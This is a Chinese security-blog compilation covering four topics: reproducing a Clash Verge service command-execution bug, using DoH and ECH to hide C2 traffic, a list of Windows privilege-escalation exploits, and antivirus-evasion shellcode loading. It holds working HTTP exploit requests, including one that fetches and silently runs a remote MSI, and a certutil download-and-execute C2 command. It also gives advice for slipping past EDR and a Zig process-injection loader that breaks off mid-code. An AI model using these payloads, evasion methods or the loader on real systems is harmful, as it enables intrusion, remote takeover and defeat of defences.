# Clash verge 漏洞复现

## Clash verge 提权

**Clash verge**是一款非常经典的 "**科学上网**" 工具,目前大部分人群的科学上网都依赖该类工具.由于本机也装了该工具，所以对此格外上心。



![image-20250508202740204](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508202740204.png)

isu 漏洞中提到为**本地提权**，并没有相关 POC，尝试定位问题代码，实现 EXP。

下载漏洞代码：**clash-verge-service-dev**

![image-20250508202654349](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508202654349.png)

### 审计过程：

Web 服务在**src/service/mod.rs **中定义了/start_clash 接口

![image-20250508195207558](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508195207558.png)

这个接口接收 HTTP POST 请求，并将请求体解析为 StartBody 结构体，结构体定义在**src/service/data.rs**

```rust
#[derive(Default, Debug, Deserialize, Serialize, Clone)]
pub struct StartBody {
    pub core_type: Option<String>,
    pub bin_path: String,
    pub config_dir: String,
    pub config_file: String,
    pub log_file: String,
}
```

请求体被传递给 CoreManager.start_clash() 方法 **src/service/core.rs** ：

并在**start_clash**方式数据被存储在 CoreManager.clash_status.runtime_config 中

通过调用**start_mihomo()**函数，该函数将最终触发命令执行

![image-20250508195746529](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508195746529.png)

具体漏洞代码如下：

```
    /////////////////////////////////////////////////////////////////////
    ///漏洞关键处///
            let bin_path = config.bin_path.as_str(); // 数据包中的bin_path在此处被提取
            let config_dir = config.config_dir.as_str();
            let config_file = config.config_file.as_str();
            let log_file = config.log_file.as_str();
            let args = vec!["-d", config_dir, "-f", config_file]; // 直接拼接
    ////////////////////////////////////////////////////////////////////
            // 创建日志文件
            let log = std::fs::File::create(log_file)
                .with_context(|| format!("Failed to open log file: {}", log_file))?;
    
            let pid = process::spawn_process(bin_path, &args, log)?;
            println!("Mihomo started with PID: {}", pid);
    
            self.mihomo_status.inner.lock().unwrap().running_pid.store(pid as i32, Ordering::Relaxed);
            self.mihomo_status.inner.lock().unwrap().is_running.store(true, Ordering::Relaxed);
            println!("Mihomo started successfully with PID: {}", pid);
        }

        Ok(())
    }

```

**clash-verge-service-dev\src\service\process.rs**  -->   **spawn_process** 函数命令执行：

```
pub fn spawn_process(command: &str, args: &[&str], mut log: std::fs::File) -> io::Result<u32> {
    // Log the command being executed
    let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
    log.flush()?;

    #[cfg(target_os = "macos")]
    {
        // On macOS, use posix_spawn via Command
        //未经验证的command 即参数bin_path 作为执行程序
        let child = Command::new(command)
            // 未经验证的args作为命令参数
            .args(args)
            .stdout(Stdio::from(log))
            .stderr(Stdio::null())
            .spawn()?;
        
        // Get the process ID
        let pid = child.id();
        
        // Detach the child process
        std::thread::spawn(move || {
            let _ = child.wait_with_output();
        });
        
        Ok(pid)
    }

    #[cfg(not(target_os = "macos"))]
    {
        // [漏洞点1] 同样直接使用未经验证的command作为执行程序
        let child = Command::new(command)
            // [漏洞点2] 同样直接使用未经验证的args作为命令参数
            .args(args)
            .stdout(log)
            .stderr(Stdio::null())
            .spawn()?;
        Ok(child.id())
    }
}
```

![image-20250508202359199](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508202359199.png)

### 漏洞流程分析

**参数传递过程：**

1. 从/start_clash HTTP 接口接收用户输入的 StartBody 结构体
2. 然后数据被存储在 CoreManager.clash_status.runtime_config 中
3. 下面从 runtime_config 中获取这些用户可控的输入值
4. 构建命令行参数，但没有验证参数内容的安全性 ：**let args = vec!["-d", config_dir, "-f", config_file];**  
5. 调用 process::spawn_process 函数，将用户提供的命令和参数直接传递给系统执行  **let pid = process::spawn_process(bin_path, &args, log)?;**

可以看到原程序的预期运行命令如下：

![image-20250508201652315](https://raw.githubusercontent.com/Lpxn/pp-img/img/img/image-20250508201652315.png)

```cmd
"E:\Clash\verge-mihomo.exe" -d C:\Users\Anonymous\AppData\Roaming\io.github.clash-verge-rev.clash-verge-rev -f C:\Users\Anonymous\AppData\Roaming\io.github.clash-verge-rev.clash-verge-rev\clash-verge.yaml
```

E:\Clash\verge-mihomo.exe 即默认 **bin_path** 的值

C:\Users\Anonymous\AppData\Roaming\io.github.clash-verge-rev.clash-verge-rev 即默认 **config_dir** 的值

C:\Users\Anonymous\AppData\Roaming\io.github.clash-verge-rev.clash-verge-rev\clash-verge.yaml 即默认 **config_file** 的值

由此全部可控，导致命令执行。

**POC/EXP**构造如下：

```http
POST /start_clash HTTP/1.1
Host: 127.0.0.1:33211
Content-Type: application/json

{
"core_type":"verge-mihome",
"bin_path":"cmd.exe",
"config_dir":"",
"config_file":"/c calc ",
"log_file":"C:\\Windows\\Temp\\5.log"
}

```

![image-20250508204232164](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508204232164.png)

可以看到 **clash-verge-service.exe** 拉起一个 cmd.exe 子进程

![image-20250508204401925](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508204401925.png)


还有一些其他问题，比如传入参数转义等等，就不赘述了。

### 远程命令执行:

由于该服务进程默认仅监听**127.0.0.1:33211**，所以大部分情况只考虑其本地提权特性，

![image-20250508204459517](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508204459517.png)

但是在部分情况下，用户可能会勾选**局域网访问**，由此增加了**远程命令执行**的可能

![image-20250508205851097](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508205851097.png)

通过代理隧道，访问该机器的 33211 端口，实现远程命令执行

![image-20250508210938880](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250508210938880.png)



![image-20250510021634490](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/image-20250510021634490.png)

但是在本地环境测试时，经常性会出现，在打过一次 poc 之后，会导致 clash verge 直接挂掉，除非重启程序，否则无法进行第二次发包。

所以很多公众号提到的，通过任意文件写入，第二步直接执行，在远程测试时，都失败了。

如果命令只有一次执行机会，那就直接尝试上线 c2

常见上线命令：

```cmd
certutil.exe -urlcache -split -f http:/x.x.x.x:9000/x.exe C:\Users\Public\Downloads\x.exe && C:\Users\Public\Downloads\x.exe
```

但该命令会直接被杀软/火绒拦截，可以使用其他上线姿势：

```
msiexec /q /i http:/x.x.x.x:9000/2.msi && echo 1
```

最后**POC**：

```
POST /start_clash HTTP/1.1
Host: 127.0.0.1:33211
Content-Type: application/json

{
"core_type":"verge-mihome",
"bin_path":"cmd.exe",
"config_dir":"",
"config_file":"/c  msiexec /q /i http:/x.x.x.x:9000/2.msi && echo 1",
"log_file":"C:\\Windows\\Temp\\5.log"
}
```


补充一句：由于同源策略问题，该漏洞目前无法设计成蜜罐。

Clash verge 漏洞复现

### **DoH 和 ECH 技术解析：红队渗透与 C2 对抗中的应用**

## 目录

1. [背景与概述](#背景与概述)
2. [技术原理详解](#技术原理详解)
3. [实现流程与架构](#实现流程与架构)
4. [隐匿技术对比分析](#隐匿技术对比分析)
5. [实战应用指南](#实战应用指南)

## 背景与概述

### 1. 流量隐匿的必要性

- EDR/IDS 的检测能力不断提升
- 流量特征识别技术的发展
- 网络环境的复杂性和限制性

### 2. 主要挑战

- DNS 查询泄露风险
- TLS 握手信息暴露
- 流量特征识别
- 基础设施可靠性

```mermaid
graph TD
    A[流量隐匿挑战] --> B[DNS查询泄露]
    A --> C[TLS握手暴露]
    A --> D[流量特征识别]
    A --> E[基础设施可靠性]
    B --> F[DoH解决方案]
    C --> G[ECH解决方案]
    D --> H[流量伪装]
    E --> I[多重保障机制]
```

## 技术原理详解

### 1. DNS over HTTPS (DoH)

#### 工作原理

DoH通过HTTPS协议封装DNS查询请求，确保DNS查询过程的安全性和私密性。

```mermaid
sequenceDiagram
    participant Client
    participant DoH Provider
    participant Target DNS
    
    Client->>DoH Provider: HTTPS加密DNS查询
    DoH Provider->>Target DNS: DNS查询
    Target DNS->>DoH Provider: DNS响应
    DoH Provider->>Client: HTTPS加密响应
```

#### 核心特性

- DNS查询加密传输
- 使用HTTPS协议封装
- 支持标准化实现
- 防DNS劫持和污染

### 2. Encrypted Client Hello (ECH)

#### 工作原理

ECH通过加密TLS握手中的Client Hello消息，保护SNI等敏感信息。

```mermaid
sequenceDiagram
    participant Client
    participant Server
    
    Client->>Server: 加密的Client Hello (含SNI)
    Server->>Client: Server Hello
    Note over Client,Server: 只有目标服务器能解密SNI信息
```

## 实现流程与架构

### 1. 域前置 (Domain Fronting)

#### 技术原理

- TLS SNI 使用 CDN 域名
- HTTP Host 头指向真实后端
- 利用 CDN 基础设施转发

#### 优势

- 成熟可靠的技术方案
- 利用高信誉域名
- 完整的传输层和应用层隐匿

#### 局限性

- CDN 服务商限制风险
- 较高的运营成本
- 流量可能被审计

### 2. DoH + ECH

#### 技术原理

- DoH 加密 DNS 查询
- ECH 加密 TLS 握手
- 标准化协议实现

#### 优势

- DNS 查询完全加密
- 不依赖第三方服务
- 标准协议支持
- 低成本运营

#### 局限性

- 需要服务器 ECH 支持
- 部署配置较复杂
- 当前支持度有限

### 3. 云函数转发

#### 技术原理

- 利用云厂商 Serverless 服务
- 函数计算作为中转节点
- 动态创建和销毁实例

#### 优势

- 弹性伸缩能力强
- 成本按使用计费
- 部署管理便捷
- IP 资源丰富

#### 局限性

- 云厂商审计风险
- 函数执行时间限制
- 网络延迟不稳定
- 需要适配云平台

### 4. CDN 代理

#### 技术原理

- CDN 节点作为代理
- 自定义回源规则
- 缓存策略优化

#### 优势

- 全球节点分布
- 稳定的服务质量
- 便于管理维护
- 自动故障转移

#### 局限性

- 配置较为复杂
- 成本相对较高
- 易被安全设备针对
- 服务商限制风险

## 隐匿技术对比分析

### 1. 技术特性对比

| 特性       | 域前置   | DoH + ECH | 云函数转发 | CDN 代理 |
| ---------- | -------- | --------- | ---------- | -------- |
| DNS 隐匿   | 依赖 CDN | 完全加密  | 部分支持   | 依赖 CDN |
| TLS 隐匿   | SNI 伪装 | 加密实现  | 平台相关   | SNI 伪装 |
| 应用层隐匿 | 完整支持 | 不涉及    | 完整支持   | 完整支持 |
| 部署复杂度 | 中等     | 较高      | 低         | 中等     |
| 运维成本   | 高       | 低        | 中等       | 高       |
| 检测难度   | 较难     | 较难      | 中等       | 中等     |
| 可靠性     | 高       | 高        | 中等       | 高       |

### 2. 场景适用性

#### 企业内网环境

- 推荐：域前置、CDN 代理
- 原因：稳定性好，绕过限制能力强

#### 公网环境

- 推荐：DoH + ECH、云函数转发
- 原因：灵活性高，成本可控

#### 高安全需求场景

- 推荐：多技术组合使用
- 原因：提高隐匿性，增加冗余性

## 实战应用指南

### 1. 为什么需要 DoH 和 ECH？（场景与需求）

在红队内网渗透和 C2（Command & Control）通信的对抗场景中，隐匿流量和绕过检测是关键需求。传统的通信方式容易被 EDR（Endpoint Detection and Response）、IDS（Intrusion Detection System）或流量审查机制识别和拦截。具体问题包括：

1. **DNS 泄露：**
   - 传统的 DNS 查询是明文的，攻击者的 C2 域名可能被 EDR 或网络设备解析并标记为恶意，从而导致行为暴露。
   - 某些网络环境中甚至会使用 DNS 策略来阻断特定域名的解析。

2. **SNI 泄露：**
   - 在 HTTPS 握手过程中，明文的 SNI（Server Name Indication）会暴露目标域名，攻击者的 C2 域名可能被流量审查设备（如防火墙）识别和拦截。

3. **对抗流量审查和行为分析：**
   - 现代 EDR 和流量分析系统会基于 DNS 请求、TLS 握手中的 SNI，以及流量模式来检测潜在的恶意通信。
   - 攻击者需要一种方式来隐匿 DNS 查询和握手过程中的敏感信息，绕过检测。

**解决方案：**

- 使用 **DNS-over-HTTPS (DoH)** 加密 DNS 查询，防止 DNS 泄露。
- 使用 **Encrypted Client Hello (ECH)** 加密 TLS 握手中的 SNI 信息，避免暴露访问的真实目标。

### 2. 什么是 DoH 和 ECH？

#### **(1) DNS-over-HTTPS (DoH)**

- **DoH** 是一种通过 HTTPS 协议进行 DNS 查询的技术。
- 传统的 DNS 查询是明文的，容易被网络设备拦截、监控或篡改。DoH 将 DNS 查询封装在 HTTPS 请求中，使得中间人无法轻易查看或篡改查询内容。
- **优点：**
  1. 查询内容被加密，中间人无法直接看到 DNS 请求的具体内容。
  2. 使用 HTTPS 通信，流量看起来像普通的 Web 流量，难以区分和拦截。
  3. 防止 DNS 劫持和污染。

#### **(2) Encrypted Client Hello (ECH)**

- **ECH** 是 TLS 1.3 的扩展技术，用于加密握手过程中的 **Client Hello** 消息。
- 在传统的 TLS 握手中，**SNI**（Server Name Indication）是明文的，用于告知服务器客户端要访问的域名。这会暴露通信目标，成为流量审查的关键点。
- **ECH** 的作用是将 **Client Hello** 中的 SNI 信息加密，只有目标服务器才能解密，其他人（如防火墙或审查设备）无法查看。
- **优点：**
  1. 隐匿访问的真实目标域名。
  2. 防止中间人通过 SNI 信息识别和拦截通信。

### 3. 完整的技术实现流程

```mermaid
graph TD
    A[开始] --> B[配置DoH服务]
    B --> C[获取ECH配置]
    C --> D[DNS查询加密]
    D --> E[TLS握手加密]
    E --> F[建立加密连接]
    F --> G[数据传输]
    
    subgraph DoH流程
    B --> H[选择DoH提供商]
    H --> I[配置DoH客户端]
    I --> J[加密DNS查询]
    end
    
    subgraph ECH流程
    C --> K[获取服务器公钥]
    K --> L[生成ECH配置]
    L --> M[加密ClientHello]
    end
```

### 4. 技术实现关键点

#### (1) DoH实现细节

```python
# DoH请求示例代码
import requests

def doh_query(domain, doh_url="https://dns.alidns.com/dns-query"):
    headers = {
        'accept': 'application/dns-json'
    }
    params = {
        'name': domain,
        'type': 'A'
    }
    response = requests.get(doh_url, headers=headers, params=params)
    return response.json()
```

#### (2) ECH配置获取

```mermaid
sequenceDiagram
    participant Client
    participant DNS
    participant Server
    
    Client->>DNS: 查询HTTPS记录
    DNS->>Client: 返回ECH配置
    Note over Client: 解析ECH配置
    Client->>Server: 使用ECH配置加密ClientHello
```

### 5. 部署架构图

```mermaid
graph LR
    A[客户端] --> B[DoH服务器]
    A --> C[目标服务器]
    
    subgraph 加密通道
    B --> D[DNS查询]
    C --> E[ECH握手]
    end
    
    subgraph 服务端
    D --> F[DNS响应]
    E --> G[数据交换]
    end
```

## 实战应用指南

### 1. 环境准备

```mermaid
graph TD
    A[环境准备] --> B[安装依赖]
    B --> C[配置DoH客户端]
    C --> D[获取ECH证书]
    D --> E[配置网络环境]
```

#### 所需组件

- DoH客户端
- ECH支持的TLS库
- 网络代理工具
- 证书管理工具

### 2. 配置步骤

1. DoH服务器配置

```bash
# 配置DoH服务器
server {
    listen 443 ssl http2;
    server_name doh.example.com;
    
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    
    location /dns-query {
        proxy_pass https://upstream-dns-server;
        proxy_set_header Host $host;
    }
}
```

2. ECH配置

```json
{
    "public_name": "example.com",
    "public_key": "...",
    "key_config": {
        "version": 0xfe0d,
        "cipher_suites": ["TLS_AES_128_GCM_SHA256"]
    }
}
```

### 3. 红队场景中的技术挑战与解决方案

#### **(1) 挑战 1：DNS 查询暴露**

- **问题：**
  - 在内网渗透中，攻击者的 C2 域名可能通过 DNS 查询暴露给 EDR 或网络设备。
  - 即使通信内容被加密，DNS 查询本身仍然会暴露目标域名。

- **解决方案：**
  - 使用 **DoH** 加密 DNS 查询，将 DNS 请求伪装为 HTTPS 流量。
  - 通过可信的公共 DoH 服务（如 Google 或 Cloudflare）查询目标域名的解析记录，绕过本地 DNS 监控。

#### **(2) 挑战 2：SNI 信息暴露**

- **问题：**
  - 在 HTTPS 握手中，明文的 SNI 会暴露目标域名，导致 C2 通信被识别和拦截。
  - 即使使用 IP 直连，目标域名仍可能通过 TLS 握手暴露。

- **解决方案：**
  - 使用 **ECH** 加密 TLS 握手中的 SNI 信息，确保只有目标服务器能够解密。
  - 即使中间人截获流量，也无法识别目标域名。

#### **(3) 挑战 3：绕过流量审查**

- **问题：**
  - 流量审查设备可能基于 DNS 请求、TLS 握手和流量模式检测异常通信。
  - 攻击者需要伪装通信行为，使其看起来像正常的 Web 流量。

- **解决方案：**
  - 结合 **DoH** 和 **ECH**，同时伪装 HTTP 请求头（如 `Host` 头）和通信模式，使流量难以与合法流量区分。
  - 使用可信的 DoH 服务和目标服务器的 IP 地址，进一步减少暴露风险。

### 4. 技术实现流程

#### **(1) 查询支持 ECH 的 DNS 记录**

- 通过 **DoH** 查询目标域名的 **HTTPS 记录**。
- **HTTPS 记录** 是一种新的 DNS 记录类型，用于告知客户端目标服务器是否支持 ECH，并提供加密所需的配置信息。
- 流程：
  1. 构造一个 DNS 查询，查询类型为 `HTTPS`。
  2. 将查询请求发送到 DoH 服务（如 `https://dns.alidns.com/dns-query`）。
  3. 解析 DNS 响应，提取：
     - **ECH 配置值**：加密 SNI 所需的公钥和参数。
     - **目标服务器的 IP 地址**。

#### **(2) 利用 ECH 加密握手信息**

- 从 DNS 查询中提取的 **ECH 配置值** 用于加密 TLS 握手中的 **Client Hello** 消息。
- 使用 `tls.Config` 的 `EncryptedClientHelloConfigList` 配置加密握手。

#### **(3) 建立隐匿的 HTTPS 连接**

- 直接连接到目标服务器的 IP 地址，而不是通过域名访问。
- 在 TLS 握手过程中，使用 ECH 加密 SNI 信息，使得中间人无法识别真实的访问目标。

#### **(4) 发送伪装的 HTTP 请求**

- 建立加密的 TLS 连接后，发送 HTTP 请求访问目标服务器的内容。
- 在 HTTP 请求中，伪装 `Host` 头为目标域名，确保服务器能够正确处理请求。

### 5. 红队中的实际应用价值

#### **(1) 隐匿 C2 通信**

- 使用 DoH 和 ECH，攻击者可以有效隐藏 C2 域名，绕过 EDR 和网络审查。
- 即使 C2 域名被标记为恶意，通信过程仍然难以被检测。

#### **(2) 绕过域名封锁**

- 在某些受限网络中，特定域名可能被 DNS 污染或封锁。
- 使用 DoH 和 ECH，可以绕过这些限制，直接访问目标域名。

#### **(3) 提高通信隐蔽性**

- 结合 DoH 和 ECH，攻击者的通信流量看起来像普通的 HTTPS 流量，难以被区分和拦截。

### 6. 通俗类比：加密信封的故事

可以将 DoH 和 ECH 的过程类比成一个"加密信封"：

1. 你想给某个网站（服务器）寄一封信（访问请求），但不想让邮递员（中间人）知道信是寄给谁的。
2. 你先问网站的朋友（DNS 服务器）：如何才能寄信给它？
3. 网站的朋友告诉你：用一种特殊的信封（ECH 加密），只有网站能打开。
4. 你把信装进信封，写上一个假地址（IP 地址），然后寄出去。
5. 邮递员只能看到信封和假地址，但完全不知道信的内容和真实的收件人。

### 7. 总结

在红队渗透和 C2 对抗中，DoH 和 ECH 是强大的隐匿技术：

1. **DoH** 通过加密 DNS 查询，防止 DNS 泄露和劫持。
2. **ECH** 通过加密 SNI 信息，隐匿访问的真实目标。
3. 结合两者，可以有效绕过 EDR、流量审查和网络封锁，提升通信隐蔽性。

这些技术的结合为红队提供了强大的对抗手段，同时也为网络安全防御提出了更高的要求。

高信誉域名  CDN CLOUDFARE  ECH配置 密钥  阿里云dns云平台  CDN IP
 真实域名
 cloudfare 

[Github-Demo]: https://github.com/0xCaner/DoH-ECH-Demo

### 8. 与传统域前置等隐匿方法的对比分析

#### **(1) 域前置 (Domain Fronting) 技术**

- **工作原理：**
  - 利用 CDN 的特性，在 TLS SNI 和 HTTP Host 头中使用不同的域名。
  - TLS SNI 使用 CDN 的合法域名建立连接。
  - HTTP Host 头指向真实的后端服务。
  - 实现传输层和应用层的双重隐匿。

- **优势：**
  1. 同时隐藏传输层(TLS SNI)和应用层(HTTP Host)的真实目标。
  2. 利用大型 CDN 的可信域名和基础设施。
  3. 技术相对成熟，有较多实践经验。
  4. 不需要目标服务器的特殊支持。

- **局限性：**
  1. 强依赖 CDN 服务商，服务商可能随时限制此类行为。
  2. 需要承担 CDN 服务的费用。
  3. CDN 服务商可能会记录和审计流量。

#### **(2) DoH + ECH 技术**

- **工作原理：**
  - DoH 加密 DNS 查询过程。
  - ECH 加密 TLS 握手中的 SNI 信息。
  - 两者结合实现从 DNS 到 TLS 的全程加密。

- **优势：**
  1. 标准化的协议实现，更具通用性。
  2. 不依赖第三方 CDN 服务商。
  3. DNS 查询过程完全加密。
  4. 运营成本较低。

- **局限性：**
  1. 需要服务器端支持 ECH。
  2. 目前支持的服务器较少。
  3. 配置和实现较为复杂。

#### **(3) 实战应用建议**

1. **选择考虑因素：**
   - 目标环境是否限制 CDN 访问
   - 是否有预算使用 CDN 服务
   - 目标服务器是否支持 ECH
   - 对隐匿效果的要求程度

2. **组合使用策略：**
   - 主要隐匿通道：选择一种作为主要通信方式
   - 备份通道：使用另一种作为备用方案
   - 分阶段使用：初始阶段使用一种，后续切换另一种

3. **防御规避建议：**
   - 域前置：选择较少被滥用的 CDN 服务商
   - DoH + ECH：使用可信度高的公共 DoH 服务器
   - 定期轮换使用不同的隐匿方案

DoH 和 ECH 技术解析：红队渗透与 C2 对抗中的应用

# Windows提权Exploit整理
这里整理了一些可用于内存加载执行的Windows常用提权exp，可使用哥斯拉的MemoryPE加载C/C++/Golang等利用工具，CobaltStrike的execute-assembly加载.NET利用工具。内存加载的好处包括绕过部分防护、无需考虑落地被杀等情况，同时省去了上传、删除等繁琐操作，提升渗透工作效率。

## 可用Exploit列表

- **CLSID**: [GitHub链接](https://github.com/ohpe/juicy-potato/tree/master/CLSID)
- **accesschk**: 用于扫描可读写目录的工具
   - Exploit: accesschk.exe
   - Arguments: /accepteula -uwds users C:\\* -nobanner
- **hashdump**: 从SAM获取Hash，需Users读权限
   - Exploit: hashdump.exe
   - Arguments: --samdump
- **MS14-058**: 
   - Exploit: MS14-058_x64.exe
   - Arguments: calc
- **MS15-015**: 
   - Exploit: MS15-015_x64.exe
   - Arguments: calc
- **MS15-051**: 
   - Exploit: MS15-051_x64.exe
   - Arguments: calc
- **MS16-032**: 
   - Exploit: MS16-032_x64.exe
   - Arguments: calc
- **CVE-2018-8120**: 执行多次可能会蓝屏重启
   - Exploit: CVE-2018-8120.exe
   - Arguments: calc
- **CVE-2018-8639**: 
   - Exploit: CVE-2018-8639.exe
   - Arguments: calc
- **CVE-2019-1458**: 执行多次可能会蓝屏关机
   - Exploit: CVE-2019-1458.exe
   - Arguments: calc
- **PetitPotato**: 
   - Exploit: PetitPotato.exe
   - Arguments: 3 calc
- **JuicyPotatoNG**: 
   - Exploit: JuicyPotatoNG.exe
   - Arguments: -t * -l 1337 -c {854A20FB-2D44-457D-992F-EF13785D2B51} -p c:\\windows\\system32\\calc.exe
- **CoercedPotato**: 
   - Exploit: CoercedPotato.exe
   - Arguments: -c notepad.exe
- **EfsPotato**: 使用pipe：sarpc、efsrpc、samr、lsass、netlogon
   - Exploit: EfsPotato.exe
   - Arguments: whoami lsarpc
- **BadPotato**: 
   - Exploit: BadPotato.exe
   - Arguments: whoami
- **GodPotato**: 
   - Exploit: GodPotato.exe
   - Arguments: -cmd "cmd /c whoami"
- **SweetPotato**: 
   - Exploit: SweetPotato.exe
   - Arguments: -c e60687f7-01a1-40aa-86ac-db1cbf673334 -a whoami
- **RottenPotato**: 
   - Exploit: RottenPotato.exe
   - Arguments: "c:\\windows\\system32\\cmd.exe" "/c whoami"
- **PrintNotifyPotato**: 
   - Exploit: PrintNotifyPotato.exe
   - Arguments: whoami
- **SigmaPotatoCore**: 
   - Exploit: SigmaPotatoCore.exe
   - Arguments: whoami
- **SharpBypassUAC**: 使用eventvwr、fodhelper、computerdefaults、sdclt、slui、DiskCleanup
   - Exploit: SharpBypassUAC.exe
   - Arguments: -b fodhelper -e Y21kIC9jIGNhbGM=
## 系统兼容性
以下是不同Exploit与系统的兼容性列表：

| **Exploit** | **Memory** | **System** |
| --- | --- | --- |
| MS14-058 | MemoryPE | Win2K3/8 |
| MS15-015 | MemoryPE | Win2K8/12 |
| MS15-051 | MemoryPE | Win2K3/8 |
| MS16-032 | MemoryPE | Win2K3/8/12 |
| CVE-2018-8120 | MemoryPE | Win2K3/8 |
| CVE-2018-8639 | MemoryPE | Win2K8 |
| CVE-2019-1458 | MemoryPE | Win2K8/12 |
| PetitPotato | MemoryPE | Win2K12 |
| JuicyPotatoNG | MemoryPE | Win10/2K12/16 |
| CoercedPotato | MemoryPE | Win10 |
| EfsPotato | ExecuteAssembly | Win2K12 |
| BadPotato | ExecuteAssembly | Win10/2K12 |
| GodPotato | ExecuteAssembly | Win10 |
| SweetPotato | ExecuteAssembly | Win10/2K8/12 |
| RottenPotato | ExecuteAssembly | Win2K8/12/16 |
| PrintNotifyPotato | ExecuteAssembly | Win10/2K12/16 |
| SigmaPotatoCore | ExecuteAssembly | Win10 |
| SharpBypassUAC | ExecuteAssembly | Win10 |
| CLSID | ExecuteAssembly | Win10 |

## 注意事项

1. 哥斯拉的内存加载是通过rundll32.exe执行的，可能会被360等进程链监控防护拦截。
```
C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\csc.exe
C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
```

2. 使用x86还是x64的exp取决于IIS应用程序池w3wp.exe的进程位数，而非系统位数。
3. 2008及以后版本的操作系统使用内存加载取决于父进程的位数，如iis的w3wp.exe，落地能兼容x86。
4. 由于现在大多数操作系统都是2008及以后版本，并且都是x64的，这里只整理了x64的exp。
5. 有部分exp在执行后可能会出现蓝屏重启或者关机的情况，实战中需谨慎使用。

Windows提权Exp合集

远程桌面登录绕过

> **免杀两个注意点**
> **静态免杀：加密，编码，分离，远程加载**
> **动态免杀    CS插件Sleepmask，内存里面的加解密，使用冷门WINAPI，奇奇怪怪的函数逃避hook(钩子)**

1. **首先第一个静态，Zig 远程加载 ，转32位**

**动态使用内存加解密sgn：相当于给shellcode套了壳，然将整个shellcode加密，再在壳外面加了个解密，这个行为都封装在shellcode里面，二进制程序里面。**
- **静态-->静态加解密-->hook**
**相关项目：**
[https://github.com/monoxgas/sRDI](https://github.com/monoxgas/sRDI)
突然从工具里面翻出来一个远古远控，产生了免杀的想法。
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/949b6df35f488818b27133d7898faf0e.png)
生成文件有exe和dll格式。分别可以对应两个项目进行shellcode化
Donut:[https://github.com/TheWover/donut](https://github.com/TheWover/donut)  
Srdi:[https://github.com/monoxgas/sRDI](https://github.com/monoxgas/sRDI)  

这里选择srdi，选择多文件生成dll文件
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/e328e7c3a9322f0e9989292cb5790c1e.png)
```bash
位置参数：
input_dll 要转换为shellcode的DLL
可选参数：
-h, --help 显示帮助信息并退出
-v, --version 显示程序版本号并退出
-f FUNCTION_NAME, --function-name FUNCTION_NAME
在DllMain之后要调用的函数
-u USER_DATA, --user-data USER_DATA
要传递给目标函数的数据
-c, --clear-header 在加载时清除PE头部信息
-b, --pass-shellcode-base
将shellcode基地址传递给导出函数
-i, --obfuscate-imports
随机化导入依赖项加载顺序
-d IMPORT_DELAY，--import-delay IMPORT_DELAY
加载导入项之间暂停秒数
of OUTPUT_FORMAT，--output-format OUTPUT_FORMAT
shellcode 的输出格式（例如原始、字符串）
```
使用IDA pro导入dll，查看出口函数名-->fuckyou
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/91e8796d6b1d86a7cdc48fc3aea02a2c.png)
`python ConvertToShellcode.py -f fuckyou -i -c datelog.dll`生成shellcode![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/2ba464aa4ec951159f4d731457bf30db.png)
用python写一个多字节异或加密
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/be67b152af627626f29d351b5c1b68f8.png)
嵌入到稀罕语言zig制作的shellcodeloader里
```bash
const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;

pub const arch = std.Target.Cpu.Arch.i386;
// Define types
const STARTUPINFOW = win.STARTUPINFOW;
const PROCESS_INFORMATION = win.PROCESS_INFORMATION;
const CREATE_SUSPENDED = 0x00000004;
const WINAPI = win.WINAPI;
const FALSE = win.FALSE;
const TRUE = win.TRUE;
const HANDLE = win.HANDLE;
const DWORD = win.DWORD;
const BOOL = win.BOOL;
const SIZE_T = win.SIZE_T;
const LPVOID = win.LPVOID;
const LPCVOID = win.LPCVOID;
const SECURITY_ATTRIBUTES = win.SECURITY_ATTRIBUTES;
const LPDWORD = *DWORD;
const LPPROC_THREAD_ATTRIBUTE_LIST = *anyopaque;
const LPSECURITY_ATTRIBUTES = *anyopaque;
const LPTHREAD_START_ROUTINE = win.LPTHREAD_START_ROUTINE;
const PROCESS_ALL_ACCESS = 0x000F0000 | (0x00100000) | 0xFFFF;



extern "kernel32" fn OpenProcess(dwDesiredAccess: u32, bInheritHandle: u32, dwProcessId: u32) callconv(WINAPI) u32;
extern "kernel32" fn VirtualAllocEx(hProcess: u32, lpAddress: u32, dwSize: u32, flAllocationType: u32, flProtect: u32) callconv(WINAPI) u32;
extern "kernel32" fn WriteProcessMemory(hProcess: u32, lpBaseAddress: u32, lpBuffer: [*]const u8, nSize: u32, lpNumberOfBytesWritten: ?*u32) callconv(WINAPI) u32;
extern "kernel32" fn CreateThread(lpThreadAttributes: ?*anyopaque, dwStackSize: u32, lpStartAddress: u32, lpParameter: ?*anyopaque, dwCreationFlags: u32, lpThreadId: ?*u32) callconv(WINAPI) u32;
extern "kernel32" fn WaitForSingleObject(hHandle: u32, dwMilliseconds: u32) callconv(WINAPI) u32;

pub fn wWinMain(_: win.HINSTANCE, _: ?win.HINSTANCE, _: win.PWSTR, _: c_int) callconv(win.WINAPI) c_int {
    var shellcodeX64 = [_]u8{};
    Injection(shellcodeX64[0..]);
    return 0;
}



fn Injection(shellcode: []u8) void {
    const pHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, kernel32.GetCurrentProcessId());
    const rPtr = VirtualAllocEx(pHandle, 0, shellcode.len, win.MEM_COMMIT, win.PAGE_EXECUTE_READWRITE);
